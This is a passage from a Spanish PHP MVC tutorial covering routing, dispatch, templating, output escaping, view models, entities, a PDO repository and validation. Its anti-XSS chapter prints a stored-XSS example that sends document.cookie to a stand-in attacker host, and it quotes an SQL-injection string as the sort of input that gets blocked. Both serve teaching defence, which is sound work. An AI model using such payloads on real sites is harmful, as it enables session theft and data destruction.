<?php
function buscarRuta(array $rutas, string $metodo, string $ruta): array
{
$llave = $metodo . ' ' . $ruta;
// 1) coincidencia EXACTA (rapida, cubre la mayoria)
if (isset($rutas[$llave])) {
return [$rutas[$llave], []]; // sin parametros
}
// 2) coincidencia POR PATRON (rutas dinamicas)
foreach ($rutas as $definicion => $accion) {
[$met, $patronRuta] = explode(' ', $definicion, 2);
if ($met !== $metodo || !str_contains($patronRuta, '{')) {
continue;
}
if (preg_match(patronDe($patronRuta), $ruta, $m)) {
unset($m[0]); // el match completo sobra
return [$accion, $m]; // ej.: ['id' => '17']
}
}
throw new RuntimeException("Ruta no encontrada: $llave", 404);
}La tabla ni se enteró del cambio — sigue siendo el mismo archivo legible:
<?php // rutas.php — ahora con dinamicas
return [
'GET /' => ['InicioControlador', 'inicio'],
'GET /pedidos' => ['PedidosControlador', 'listar'],
'POST /pedidos' => ['PedidosControlador', 'registrar'],
'GET /pedidos/{id}' => ['PedidosControlador', 'ver'],
'POST /pedidos/{id}/anular' => ['PedidosControlador', 'anular'],
];Prueba ejecutable del matcher
<?php
$rutas = require 'rutas.php';
[$accion, $params] = buscarRuta($rutas, 'GET', '/pedidos');
assert($params === []);
[$accion, $params] = buscarRuta($rutas, 'GET', '/pedidos/17');
assert($accion === ['PedidosControlador', 'ver']);
assert($params === ['id' => '17']); // ojo: string, no int
echo "Matcher verificado\n";'17'; si tipa estricto exige int, convierte con
(int) en el controlador — o mejor: deja que la firma tipada del método
lo valide y lance su propio error. Doble red de seguridad, cero costo.{id:\d+} garantizado
por regex, jamás llega a tu SQL un id = "17; DROP TABLE pedidos". Los
placeholders aún más estrictos ({slug:[a-z0-9-]+}, {fecha:\d{4}-\d{2}-\d{2}})
son una línea de cambio en patronDe(): deja el default genérico y añade
soporte para {nombre:patron} como ejercicio.Puntos clave
- Hueco
{id}→ grupo nombrado(?P<id>…)→ parámetro con nombre. - Búsqueda en dos capas: exacta (rápida) y luego por patrones.
- Regex anclada + patrón restrictivo = primera línea de defensa real.
- Laravel hace exactamente esto: compila tus rutas a regex al arrancar.
11 · Métodos HTTP por ruta: 404 vs 405
Intermedio ~14 minEl router ya entiende rutas y parámetros; ahora perfecciona su vocabulario. La distinción fina entre 404 (el lugar no existe) y 405 (el lugar existe, pero no atiende ese método) es lo que separa una API respetable de una que confunde hasta al cliente HTTP más paciente.
- Distinguir 404 de 405 con la semántica correcta de cada uno.
- Llevar los métodos permitidos DENTRO de una excepción propia.
- Emitir la cabecera
Allow:como pide el estándar.
El escenario que delata
Sin esta distinción, un cliente mal configurado recibe «no encontró la página» cuando el problema real es «usaste el verbo equivocado» — y depurar eso por correo es deporte poco recomendable.
Una excepción que viaja con datos
En php_01 (cap. 20) creaste excepciones con datos propios. Aquí brilla ese patrón: el 405 necesita informar QUÉ métodos sí se aceptan:
<?php
final class ExcepcionMetodo extends RuntimeException
{
/** @param string[] $permitidos verbos HTTP validos para la ruta */
public function __construct(public readonly array $permitidos)
{
parent::__construct('Metodo no permitido', 405);
}
}La búsqueda en dos pasadas
<?php
function resolverRuta(array $rutas, string $metodo, string $ruta): array
{
// PASADA 1: coincidencia exacta
if (isset($rutas["$metodo $ruta"])) {
return [$rutas["$metodo $ruta"], []];
}
// PASADA 1b: patrones con parametros
foreach ($rutas as $definicion => $accion) {
[$met, $patronRuta] = explode(' ', $definicion, 2);
if ($met === $metodo && str_contains($patronRuta, '{')
&& preg_match(patronDe($patronRuta), $ruta, $m)) {
unset($m[0]);
return [$accion, $m];
}
}
// PASADA 2: diagnostico — ¿la ruta existe con OTRO metodo?
$permitidos = [];
foreach ($rutas as $definicion => $ignorar) {
[$met, $patronRuta] = explode(' ', $definicion, 2);
$coincide = str_contains($patronRuta, '{')
? (bool) preg_match(patronDe($patronRuta), $ruta)
: $patronRuta === $ruta;
if ($coincide) {
$permitidos[] = $met;
}
}
if ($permitidos !== []) {
throw new ExcepcionMetodo(array_values(array_unique($permitidos)));
}
throw new RuntimeException("Ruta no encontrada: $ruta", 404);
}El catch que responde con educación
El estándar exige acompañar un 405 con la lista de verbos aceptados en la cabecera Allow. Nuestra excepción trae esa lista adentro:
} catch (ExcepcionMetodo $e) {
http_response_code(405);
header('Allow: ' . implode(', ', $e->permitidos));
$respuesta = 'Metodo no permitido';
} catch (Throwable $e) {
http_response_code($e->getCode() >= 400 ? (int)$e->getCode() : 500);
$respuesta = htmlspecialchars($e->getMessage(), ENT_QUOTES);
}Verificación completa con curl
| Caso | Código | Cabecera extra | Mensaje sugerido |
|---|---|---|---|
| Ruta y método existen | 200/302 | — | — |
| Nadie atiende esa ruta | 404 | — | Recurso no encontrado |
| Ruta existe, método no | 405 | Allow: GET, POST | Método no permitido |
Puntos clave
- 404 = el recurso no existe; 405 = existe pero con otros métodos.
- Diagnóstico SIEMPRE después de agotar todas las formas de match.
- Excepción con datos (eco cap. 20): el 405 transporta sus métodos válidos.
- El 405 lleva
Allow:— así lo exige el estándar HTTP.
12 · El despacho: callables y reflexión
Avanzado ~17 minEl router entrega ['PedidosControlador', 'ver'] más sus parámetros.
Falta el último eslabón: construir el controlador con sus dependencias y
llamar a la acción con los argumentos correctos. Aquí nace, en miniatura,
el concepto que Laravel llama service container — y verás que no hay magia.
- Pasar de tabla de strings a objeto real con dependencias inyectadas.
- Llamar acciones con los parámetros de ruta como argumentos nombrados.
- Cerrar la Parte III con el front controller completo y ejecutable.
Paso 1: ¿quién construye al constructor?
Nuestro controlador necesita un repositorio — que necesita un PDO. Alguien debe armar esa cadena ANTES del despacho:
<?php
// contenedor.php — fabrica de objetos (mini service container)
function construirControlador(string $clase): object
{
return match ($clase) {
'InicioControlador' => new InicioControlador(),
'PedidosControlador' => new PedidosControlador(
new PedidoRepositorio(conexion())
),
default => throw new RuntimeException("Controlador desconocido: $clase", 500),
};
}Paso 2: la llamada con argumentos
Los parámetros llegan como arreglo asociativo (['id' => '17']). Tres formas nativas de convertirlos en argumentos:
<?php
$objeto = construirControlador($accion[0]);
$metodo = $accion[1];
$params = ['id' => '17'];
// A) variable-variable clasica (no soporta params multiples ordenados)
$objeto->$metodo(id: (int) current($params));
// B) call_user_func_array: expande el arreglo como argumentos
call_user_func_array([$objeto, $metodo], $params);
// C) first-class callable + spread (PHP 8+, la mas limpia)
($objeto->$metodo)(...$params);La opción C usa la sintaxis de callables de primera clase que ya dominas
(cap. 14 de php_01): obtiene un Closure del método y lo invoca con spread. Con
argumentos nombrados, el orden deja de importar: si tu acción declara
ver(int $id), PHP casa $params['id'] por nombre.
Paso 3: reflexión — la fábrica universal
El match del paso 1 exige editarlo por cada controlador nuevo. La reflexión lee las firmas y resuelve solita:
<?php
function construirConReflexion(string $clase, array $fabricas = []): object
{
$ref = new ReflectionClass($clase);
$ctor = $ref->getConstructor();
if ($ctor === null || $ctor->getNumberOfParameters() === 0) {
return new $clase(); // sin dependencias
}
$args = [];
foreach ($ctor->getParameters() as $param) {
$tipo = $param->getType();
$nombre = $tipo && !$tipo->isBuiltin() ? $tipo->getName() : null;
// ¿hay una fabrica registrada para este tipo? (ej.: PDO, repositorios)
if ($nombre !== null && isset($fabricas[$nombre])) {
$args[] = $fabricas[$nombre]();
} elseif ($nombre !== null && class_exists($nombre)) {
$args[] = construirConReflexion($nombre, $fabricas); // recursivo
} elseif ($param->isDefaultValueAvailable()) {
$args[] = $param->getDefaultValue();
} else {
throw new RuntimeException("No puedo resolver \$$param", 500);
}
}
return $ref->newInstanceArgs($args);
}
// registro minimo de fabricas:
$fabricas = [
PDO::class => conexion(...),
PedidoRepositorio::class => fn () => new PedidoRepositorio(conexion()),
];Veintiún líneas que inspeccionan el constructor, resuelven cada tipo conocido (recursivamente) y fallan con mensaje claro si algo falta. Laravel hace EXACTAMENTE esto entre su container y el despachador de rutas — con caché, singletons y contextos, pero el principio es idéntico.
Cierre: el front controller definitivo
<?php
declare(strict_types=1);
define('BASE_PATH', __DIR__);
session_start();
require BASE_PATH . '/helpers.php';
require BASE_PATH . '/excepciones.php';
require BASE_PATH . '/repositorios.php';
require BASE_PATH . '/controladores.php';
require BASE_PATH . '/router.php';
set_exception_handler(function (Throwable $e): void {
http_response_code($e->getCode() >= 400 ? (int)$e->getCode() : 500);
echo htmlspecialchars($e->getMessage(), ENT_QUOTES);
});
$fabricas = [
PDO::class => conexion(...),
PedidoRepositorio::class => fn () => new PedidoRepositorio(conexion()),
];
try {
[$accion, $params] = resolverRuta(
require BASE_PATH . '/rutas.php',
$_SERVER['REQUEST_METHOD'],
rutaActual(),
);
$controlador = construirConReflexion($accion[0], $fabricas);
$metodo = $accion[1];
http_response_code(200);
echo ($controlador->$metodo)(...$params);
} catch (Throwable $e) {
set_exception_handler(null); // evita recursion infinita
throw $e;
}Treinta líneas orquestando todo lo aprendido en tres partes: rutas limpias, resolución declarativa, despacho dinámico y red de seguridad global. Cada framework del capítulo 31 hará estas mismas cosas frente a ti — ahora las reconocerás una a una.
Puntos clave
- El contenedor resuelve dependencias ANTES del despacho; explícito primero, reflexión después.
($objeto->$metodo)(...$params): callables de primera clase + spread.- Argumentos nombrados casan parámetros de ruta con firmas tipadas.
- La reflexión sobre constructores ES el corazón del service container de cualquier framework.
13 · Plantillas puras: extract y buffering
Intermedio ~16 minHasta aquí los controladores devolvieron cadenas con HTML incrustado — útil para
aprender el ciclo, indigno para producir. Esta parte convierte esas cadenas en
archivos de plantilla reales, empezando por la función que será el
motor de toda la Parte IV: vista(). Sus dos ingredientes:
extract() para convertir datos en variables y
ob_start() para capturar HTML sin imprimirlo.
- Implementar
vista()completa y entender cada línea. - Explicar por qué CAPTURAR (y no imprimir) protege el control de las cabeceras.
- Asegurar el alcance con
EXTR_SKIP.
El problema del eco directo
<?php
// MAL: imprimir ANTES de decidir cabeceras
echo '<h1>Pedido guardado</h1>'; // el cuerpo ya empezo a salir
header('Location: /pedidos'); // WARNING: headers already sent!Eco del capítulo 4: header() exige cuerpo virgen. Si la vista imprime
directamente, pierdes el derecho a redirigir, cambiar el código de estado o emitir
cookies después. La salida debe ser un valor que el controlador decide
cuándo enviar.
La función vista(), línea por línea
<?php
// helpers_vistas.php
define('RUTA_PLANTILLAS', BASE_PATH . '/plantillas');
function vista(string $plantilla, array $datos = []): string
{
// 1) cada dato se vuelve una variable local de la plantilla
extract($datos, EXTR_SKIP);
// 2) abrir buffer: nada sale a la pantalla todavia
ob_start();
// 3) la plantilla ejecuta su HTML y usa esas variables
require RUTA_PLANTILLAS . '/' . $plantilla . '.php';
// 4) devolver TODO lo producido como un string limpio
return ob_get_clean();
}Con esto, una plantilla es solo un archivo PHP donde las claves del arreglo existen como variables:
<?php
// controlador
$pedidos = $this->repo->todos();
return vista('pedidos/listar', ['titulo' => 'Pedidos', 'filas' => $pedidos]);<?php // plantillas/pedidos/listar.php — $titulo y $filas YA EXISTEN aqui ?>
<h1><?= htmlspecialchars($titulo, ENT_QUOTES) ?></h1>
<table border="1">
<?php foreach ($filas as $f): ?>
<tr>
<td>#<?= (int) $f['id'] ?></td>
<td><?= htmlspecialchars($f['cliente'], ENT_QUOTES) ?></td>
</tr>
<?php endforeach; ?>
</table>Los dos parámetros que no son negociables
EXTR_SKIP: si un dato llegara con la clavefilasy TÚ ya tenías una variable$filasimportante, sin este flag sería pisada. Con SKIP, las existentes ganan. Defensivo y gratuito.ob_get_clean(): devuelve el buffer Y lo cierra. Usarob_get_contents()sin limpiar duplicaría la salida. El par correcto para capturar y soltar es exactamente este.
Puntos clave
vista()= extract + ob_start + require + ob_get_clean. Cuatro movimientos.- Capturar convierte la salida en valor manipulable antes de enviarla.
EXTR_SKIPsiempre: las variables existentes jamás se pisan.- Las plantillas reciben variables, no consultas ni objetos de petición.
14 · Layouts anidados y partials
Intermedio ~15 minCada plantilla de la tienda repite hoy el mismo esqueleto:
<!DOCTYPE>, head, navbar, pie… Cambiar un link del menú significa
editar N archivos — exactamente la duplicación que juramos eliminar en el capítulo 2.
La solución: dos niveles de plantilla — el contenido específico se
renderiza primero y un layout compartido lo envuelve después.
- Extender
vista()para soportar layouts. - Escribir el layout base y pasarle el contenido capturado.
- Extraer fragmentos reutilizables como partials.
La función evolucionada
<?php
function vista(string $plantilla, array $datos = [], ?string $layout = 'base'): string
{
// NIVEL 1: el contenido especifico
extract($datos, EXTR_SKIP);
ob_start();
require RUTA_PLANTILLAS . '/' . $plantilla . '.php';
$contenido = ob_get_clean();
// NIVEL 2: el layout lo envuelve (o devolvemos crudo para AJAX)
if ($layout === null) {
return $contenido;
}
$titulo ??= 'Tienda'; // default si la vista no lo trajo
ob_start();
require RUTA_PLANTILLAS . '/layouts/' . $layout . '.php';
return ob_get_clean();
}El flujo mental: primero se pinta la página interior, luego esa pintura viaja
como variable $contenido al molde general.
El layout base
<?php // plantillas/layouts/base.php — recibe $contenido y quizas $titulo ?>
<!DOCTYPE html>
<html lang="es">
<head>
<meta charset="utf-8">
<title><?= htmlspecialchars($titulo, ENT_QUOTES) ?> · Tienda</title>
</head>
<body>
<nav>
<a href="/">Inicio</a> |
<a href="/pedidos">Pedidos</a> |
<a href="/contacto">Contacto</a>
</nav>
<main>
<?= $contenido ?> <!-- AQUI aterriza la plantilla interna -->
</main>
<footer>© 2026 Tienda</footer>
</body>
</html><?php // plantillas/pedidos/listar.php — ya SIN esqueleto, solo su parte ?>
<h1><?= htmlspecialchars($titulo, ENT_QUOTES) ?></h1>
<?php foreach ($filas as $f): ?>
<p>#<?= (int) $f['id'] ?> — <?= htmlspecialchars($f['cliente'], ENT_QUOTES) ?></p>
<?php endforeach; ?>vista('api/pedidos', $datos, null) — layout nulo devuelve el crudo.
Un parámetro, dos formatos de salida. Así de barato es diseñar bien.Partials: piezas que se repiten entre vistas
La fila de pedido aparece en «listar» y aparecerá en «buscar». Se extrae a un partial con convención de guión bajo:
<?php // plantillas/pedidos/_fila.php — espera $f ?>
<tr>
<td>#<?= (int) $f['id'] ?></td>
<td><?= htmlspecialchars($f['cliente'], ENT_QUOTES) ?></td>
<td>S/ <?= number_format($f['total'], 2) ?></td>
</tr><?php // plantillas/pedidos/listar.php ?>
<h1><?= htmlspecialchars($titulo, ENT_QUOTES) ?></h1>
<table border="1">
<?php foreach ($filas as $f): ?>
<?php require __DIR__ . '/_fila.php'; ?>
<?php endforeach; ?>
</table>- Convención visual: el prefijo
_fila.phpgrita «no soy una página completa». - Variables heredadas: el require comparte el alcance actual —
$fsimplemente está ahí. - Contrato documentado: el comentario «espera $f» es la API del partial; respétalo y nada se romperá.
Layouts con variantes sin duplicar
¿Una página de login sin navbar? No copies el layout: crea layouts/limpio.php reutilizando partials comunes, y pídelo por nombre:
<?php
return vista('sesion/login', $datos, layout: 'limpio');Puntos clave
- Dos niveles: contenido específico primero, layout envolvente después.
$contenidoes el puente entre ambos — posible gracias al buffer.layout: nullhabilita respuestas crudas (JSON/AJAX) gratis.- Partials con guión bajo + contrato documentado = cero duplicación de fragmentos.
15 · Escapado e(): anti-XSS en vistas
Intermedio ~15 minYa viste htmlspecialchars() repetirse en cada ejemplo
— al punto del dolor de muñeca. Ese cansancio es real y peligroso: la primera
función que un desarrollador cansado omite es justamente la que evita el robo de
sesiones. Este capítulo destila el tema (ya tratado en php_01, cap. 34) a la forma
que adopta DENTRO de las vistas: una función de tres letras, e(), y una
disciplina inquebrantable.
- Escribir la función
e()canónica y justificar cada flag. - Reproducir un XSS mínimo y su curación línea por línea.
- Saber qué hacer en contextos especiales (atributos, JS inline).
La función
<?php
// helpers_vistas.php
function e(null|string|Stringable $valor): string
{
return htmlspecialchars((string) $valor,
ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
}
// uso en plantilla:
?>
<p>Cliente: <?= e($f['cliente']) ?></p>Los flags, uno por uno:
ENT_QUOTES: escapa también comillas simples — imprescindible porque imprimirás valores DENTRO de atributos (alt="= e(...) ?>").ENT_SUBSTITUTE: bytes UTF-8 inválidos se reemplazan en vez de invalidar toda la salida.- Acepta null y Stringable: los datos de BD traen NULL más seguido de lo que admite el orgullo; las entidades readonly del capítulo 17 se convertirán a string solas.
El ataque, en tres líneas
<?php
// Un "cliente" malicioso se registro con este nombre:
$nombre = '<script>fetch("https://malo.pe?c="+document.cookie)</script>';
?>
<!-- VISTA VULNERABLE -->
<p><?= $nombre ?></p> <!-- el script VIAJA al navegador de cada visitante -->
<!-- VISTA CURADA -->
<p><?= e($nombre) ?></p> <!-- se ve como texto: <script>... inocuo -->El XSS almacenado roba cookies de sesión de TODOS los que visiten la página. La curación no fue un framework ni un firewall: fue envolver una variable.
El contexto manda
| Contexto de salida | Técnica correcta |
|---|---|
Cuerpo HTML (<p>...</p>) | e($x) |
Atributo (title="...") | e($x) — ENT_QUOTES ya cubre comillas |
Dentro de <script> inline | Nunca interpolar usuario. Usar json_encode($x, JSON_HEX_TAG|JSON_HEX_APOS|JSON_HEX_QUOT|JSON_HEX_AMP) o mejor: atributos data-* leídos desde JS externo |
URL (href="?q=...") | urlencode() para el valor + validar esquema si es URL completa |
| CSS inline | No aceptar valores de usuario jamás |
<?= $variable ?> desnudo. Existe
<?= e($variable) ?>, o un valor que TÚ fabricaste con
(int)/number_format(). Cero excepciones «solo este caso».Auditoría mecánica en 30 segundos
La disciplina se puede verificar automáticamente. Este comando lista cualquier interpolación sospechosa:
Conviértelo en parte de tu rutina de verificación — o engánchalo al pipeline como haremos con nuestros verificadores. La seguridad sostenible es la que se puede comprobar sin confiar en la memoria.
Puntos clave
e(): corta, con ENT_QUOTES | ENT_SUBSTITUTE y tolerante a null.- XSS almacenado roba sesiones en cadena — se cura escapando UNA salida.
- En JS inline no hay escapado seguro cómodo: usa data-* o json_encode con flags.
- Ningún
<?= $x ?>desnudo sobrevive en tus plantillas. Nunca.
16 · View models: la vista recibe datos listos
Intermedio ~15 minQueda una aspereza en nuestro contrato con las vistas: les pasamos filas crudas de base de datos y CADA plantilla decide cómo formatear el total, qué color usar para ANULADO, cómo mostrar fechas. Si mañana cambia la regla del color, es caza de copias por todas las plantillas. La pieza que falta tiene nombre: view model — un objeto que traduce dominio a presentación UNA sola vez.
- Formalizar el contrato: la vista pinta, no calcula ni decide.
- Construir view models readonly a partir de entidades de dominio.
- Cerrar la Parte IV con el recorrido vertical completo.
El antipatrón que estamos extirpando
<?php // DUPLICADO en listar.php, buscar.php y reporte_csv.php
$color = $f['estado'] === 'ANULADO' ? 'red'
: ($f['estado'] === 'PAGADO' ? 'green' : 'black');
$clase = match($f['estado']) { // ¿otra variante? otra copia
'ANULADO' => 'badge-danger',
default => 'badge-secondary',
};Tres archivos, dos reglas, seis líneas gemelas. Y la vista — que debería ser analfabeta de negocio — está tomando decisiones de diseño de datos.
El view model: traducción única
<?php
// vistamodelos/PedidoVista.php — SOLO presentacion; no toca BD
final readonly class PedidoVista
{
public function __construct(
public int $id,
public string $cliente,
public string $total, // YA formateado
public string $fecha, // YA legible
public string $estado,
public string $claseBadge, // decision visual YA tomada
public bool $anulable,
) {}
public static function desdeDominio(Pedido $p): self
{
return new self(
id: $p->id,
cliente: $p->cliente,
total: 'S/ ' . number_format($p->total, 2),
fecha: $p->creado->format('d/m/Y H:i'),
estado: $p->estado,
claseBadge: match ($p->estado) {
'ANULADO' => 'badge-danger',
'PAGADO' => 'badge-success',
default => 'badge-secondary',
},
anulable: $p->puedeAnularse(), // regla de negocio delegada al modelo
);
}
}Fíjate en anulable: la pregunta «¿puede anularse este
pedido?» es NEGOCIO — vive en la entidad (cap. 17 la implementará). El view model
solo la transporta ya respondida. Cada capa hace su único trabajo.
La plantilla se vuelve casi tonta
<?php // plantillas/pedidos/_fila.php — espera PedidoVista $vm ?>
<tr>
<td>#<?= $vm->id ?></td>
<td><?= e($vm->cliente) ?></td>
<td><?= $vm->total ?></td>
<td><span class="<?= $vm->claseBadge ?>"><?= e($vm->estado) ?></span></td>
<?php if ($vm->anulable): ?>
<td><a href="/pedidos/<?= $vm->id ?>/anular">Anular</a></td>
<?php endif; ?>
</tr>Sin formatos, sin matches de negocio, sin colores. Solo pintura condicional mínima. Y el controlador queda como simple puente:
<?php
public function listar(): string
{
$vms = array_map(
fn (Pedido $p) => PedidoVista::desdeDominio($p),
$this->repo->todos()
);
return vista('pedidos/listar', ['filas' => $vms, 'titulo' => 'Pedidos']);
}Cierre de Parte IV: el recorrido vertical completo
Puntos clave
- Reglas de formato/presentación viven UNA vez: en el view model.
- Las preguntas de negocio se responden en el modelo; el VM las transporta.
- readonly + constructor nombrado = view models inmutables y claros.
- Parte IV cerrada: plantillas capturadas, envueltas en layout, escapadas y alimentadas con datos preparados.
17 · Entidades readonly del dominio
Intermedio ~15 minLlega la parte donde el modelo deja de ser un arreglo asociativo anónimo y gana
nombre propio. Una entidad representa un concepto del negocio con
identidad propia — un pedido, un cliente — y sus reglas mínimas de existencia.
Usaremos las herramientas modernas que ya dominas: clases
readonly, enums y promoción de propiedades.
- Modelar
Pedidocomo entidad inmutable con tipos correctos. - Sustituir strings mágicos por el enum
EstadoPedido. - Hidratar desde filas de BD sin perder el camino tipado.
El estado ya no es un string suelto
<?php
declare(strict_types=1);
// dominio/EstadoPedido.php — nomenclatura canonica de la serie
enum EstadoPedido: string
{
case REGISTRADO = 'REGISTRADO';
case PAGADO = 'PAGADO';
case ANULADO = 'ANULADO';
// Las transiciones validas viven AQUI, no dispersas por el sistema
public function puedePasarA(self $nuevo): bool
{
return match ($this) {
self::REGISTRADO => in_array($nuevo, [self::PAGADO, self::ANULADO], true),
default => false, // PAGADO y ANULADO son finales
};
}
}Tres beneficios inmediatos: autocompletado en tu editor, imposibilidad de escribir
'ANUALDO' (typo silencioso de antes), y una sola fuente de verdad para
las reglas de transición.
La entidad Pedido
<?php
// dominio/Pedido.php
final readonly class Pedido
{
public function __construct(
public int $id,
public int $clienteId,
public float $total,
public EstadoPedido $estado,
public DateTimeImmutable $creado,
) {}
/** Fabrica desde fila de BD: convierte tipos primitivos a ricos */
public static function desdeFila(array $f): self
{
return new self(
id: (int) $f['id'],
clienteId: (int) $f['cliente_id'],
total: (float) $f['total'],
estado: EstadoPedido::from($f['estado']),
creado: new DateTimeImmutable($f['creado']),
);
}
// --- reglas de consulta (no mutan nada: la clase es readonly) ---
public function estaAnulado(): bool
{
return $this->estado === EstadoPedido::ANULADO;
}
public function puedeAnularse(): bool
{
return $this->estado->puedePasarA(EstadoPedido::ANULADO);
}
}| Fila de BD | Propiedad | Por qué el cambio |
|---|---|---|
'id' => '17' | int $id | Números llegan como texto; se tipifican UNA vez aquí |
'estado' => 'ANULADO' | EstadoPedido | De string mágico a valor cerrado y verificable |
'creado' => '2026-08-23 09:14' | DateTimeImmutable | Fechas inmutables: fin de los bugs de modificación accidental |
¿Por qué readonly y final?
- readonly: una vez cargado el pedido, NADIE lo muta de pasada. Los cambios de estado producirán nuevos objetos (cap. 21) o irán por métodos explícitos del repositorio. Inmutabilidad = trazabilidad.
- final: nadie hereda «por si acaso». La composición resuelve; la herencia sorpresa corrompe.
data class Pedido(val id: Int, val estado: EstadoPedido) con enums de
Compose. Mismo canon — `Pedido`, `EstadoPedido` — para que el conocimiento viaje
entre manuales sin traducción.Puntos clave
- Entidad = concepto de negocio + tipos ricos + reglas de consulta.
- Enum con
puedePasarA(): transiciones centralizadas, typos imposibles. desdeFila()convierte primitivos a ricos EXACTAMENTE una vez.- readonly + final: inmutable y sin jerarquías sorpresa.
18 · El repositorio PDO
Intermedio ~16 minLas entidades del capítulo anterior no saben de dónde vienen — y esa ignorancia es un lujo. Alguien tiene que hablar SQL: convertir filas en entidades y devolverlas. Ese alguien es el repositorio: la ÚNICA clase autorizada a mencionar tablas y consultas. Si mañana cambia la BD o nace una API remota, el resto del sistema ni se entera.
- Definir el contrato
PedidoRepositoriocomo interfaz. - Implementar
PdoPedidoRepositoriocon sentencias preparadas. - Entender por qué el constructor solo pide PDO (y qué gana el contenedor).
El contrato primero
<?php
// dominio/PedidoRepositorio.php
interface PedidoRepositorio
{
/** @throws PedidoNoEncontrado si no existe */
public function encontrar(int $id): Pedido;
/** @return Pedido[] */
public function todos(): array;
/** @return Pedido[] */
public function porEstado(EstadoPedido $estado): array;
public function agregar(Pedido $p): int; // devuelve el nuevo id
/** Cambia estado persistido; valida transicion contra la entidad */
public function cambiarEstado(int $id, EstadoPedido $nuevo): void;
}Los controladores dependerán de ESTA interfaz, no de PDO. Es exactamente el hueco
que dejó abierto el contenedor de fábricas del capítulo 12: registrar
PedidoRepositorio::class => fn() => new PdoPedidoRepositorio($pdo).
La implementación completa
<?php
// infraestructura/PdoPedidoRepositorio.php
final class PdoPedidoRepositorio implements PedidoRepositorio
{
public function __construct(private PDO $pdo) {}
public function encontrar(int $id): Pedido
{
$st = $this->pdo->prepare(
'SELECT * FROM pedidos WHERE id = :id'
);
$st->execute(['id' => $id]);
$fila = $st->fetch(PDO::FETCH_ASSOC);
if ($fila === false) {
throw new PedidoNoEncontrado("Pedido $id no existe");
}
return Pedido::desdeFila($fila);
}
public function todos(): array
{
$filas = $this->pdo->
query('SELECT * FROM pedidos ORDER BY creado DESC')->
fetchAll(PDO::FETCH_ASSOC);
return array_map(Pedido::desdeFila(...), $filas);
}
public function porEstado(EstadoPedido $estado): array
{
$st = $this->pdo->prepare(
'SELECT * FROM pedidos WHERE estado = :e ORDER BY creado DESC'
);
$st->execute(['e' => $estado->value]); // enum backendeado = string listo
return array_map(Pedido::desdeFila(...), $st->fetchAll(PDO::FETCH_ASSOC));
}
public function agregar(Pedido $p): int
{
$st = $this->pdo->prepare(
'INSERT INTO pedidos (cliente_id, total, estado, creado)
VALUES (:c, :t, :e, :f)'
);
$st->execute([
'c' => $p->clienteId,
't' => $p->total,
'e' => $p->estado->value,
'f' => $p->creado->format('Y-m-d H:i:s'),
]);
return (int) $this->pdo->lastInsertId();
}
public function cambiarEstado(int $id, EstadoPedido $nuevo): void
{
$actual = $this->encontrar($id); // valida existencia...
if (!$actual->estado->puedePasarA($nuevo)) { // ...y transicion
throw new DominioException(
"Pedido $id: {$actual->estado->value} no puede pasar a {$nuevo->value}"
);
}
$st = $this->pdo->prepare(
'UPDATE pedidos SET estado = :e WHERE id = :id'
);
$st->execute(['e' => $nuevo->value, 'id' => $id]);
}
}Tres decisiones que valen oro
- Solo habla de entidades: recibe y devuelve objetos
Pedido; los arreglos crudos jamás cruzan esta frontera hacia afuera. cambiarEstado()consulta ANTES: cargar el pedido para validar la transición cuesta una lectura extra, pero garantiza que la regla del enum se aplique SIEMPRE — incluso desde código ajeno.- Excepciones con nombres de negocio:
PedidoNoEncontradoyDominioException(cap. 11 las anticipó) son capturables con precisión quirúrgica.
Puntos clave
- Interfaz primero: controladores dependen del CONTRATO, no de PDO.
- Sentencias preparadas siempre — parámetro, nunca concatenación.
- Enums backendeados pasan directo como strings de BD (
->value). - El repo valida transiciones de estado: la regla vive junto al dato.
19 · Validación: la bolsa de errores
Intermedio ~15 minLos formularios llegan llenos de buenas intenciones y datos rotos: clientes sin nombre, totales negativos, campos ausentes. La pregunta de arquitectura es ¿DÓNDE vive la validación? Respuesta corta: en una clase propia del lado del modelo — nunca regada por los controladores. Ya conoces la técnica (php_01, cap. 33); aquí la formalizamos como pieza MVC.
- Construir
ValidadorPedidocon errores por campo. - Distinguir validación de FORMATO vs validación de NEGOCIO.
- Devolver el formulario con errores Y valores previos intactos.
El validador
<?php
// aplicacion/ValidadorPedido.php
final readonly class ValidadorPedido
{
/** @return array<string,string> campo => mensaje (vacio = todo OK) */
public function validar(array $datos): array
{
$errores = [];
$cliente = trim((string) ($datos['cliente'] ?? ''));
if ($cliente === '') {
$errores['cliente'] = 'Indique el nombre del cliente.';
} elseif (mb_strlen($cliente) < 3) {
$errores['cliente'] = 'Muy corto (minimo 3 letras).';
}
$items = $datos['items'] ?? [];
if (!is_array($items) || count($items) === 0) {
$errores['items'] = 'Agregue al menos un producto.';
}
// El total NO se valida aqui: no se CONFIA en el — se recalcula.
// Eso es negocio y le toca al modelo (cap. 21).
return $errores;
}
}La firma lo dice todo: entra el arreglo crudo de
$_POST, sale un mapa campo→mensaje. Vacío significa
«aprobado». Sin excepciones para flujo esperado — un dato malo NO es una
anomalía, es el martes.
Formato vs negocio: dos capas distintas
| Pregunta | Ejemplo | Capa responsable |
|---|---|---|
| ¿Está bien ESCRITO? | nombre no vacío, email sintáctico | Validador (esta clase) |
| ¿Tiene SENTIDO? | total coincide con ítems; stock disponible | Modelo/dominio (cap. 21) |
Confundir las capas produce validadores que consultan BD (lentos, acoplados) o entidades que rechazan emails mal escritos (ruido). Cada cosa en su casa.
El controlador orquesta
<?php
public function guardar(): string
{
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
return vista('pedidos/nuevo', ['errores' => [], 'viejo' => []]);
}
$validador = new ValidadorPedido();
$errores = $validador->validar($_POST);
if ($errores !== []) {
http_response_code(422); // Unprocessable Content
return vista('pedidos/nuevo', [
'errores' => $errores,
'viejo' => $_POST, // rellenar el form
]);
}
// ... camino feliz: dominio + repositorio (caps. 20-21)
}<?php // plantillas/pedidos/nuevo.php — el par errores+viejo pintandose ?>
<form method="post">
<label>Cliente:
<input name="cliente" value="<?= e($viejo['cliente'] ?? '') ?>">
</label>
<?php if (isset($errores['cliente'])): ?>
<p class="error"><?= e($errores['cliente']) ?></p>
<?php endif; ?>
<button>Registrar pedido</button>
</form>Prueba mecánica del validador
Esa independencia total del entorno es la razón de ser de clases así: se prueban en milisegundos, sin levantar nada.
Puntos clave
- Errores por campo en un arreglo simple:
'campo' => mensaje. - Formato en el validador; sentido en el dominio. Nunca mezclados.
- 422 + re-render con
$erroresy$viejo: UX digna. - Puro y aislado = testeable desde CLI sin BD ni servidor.
20 · Transacciones: pedido + detalle
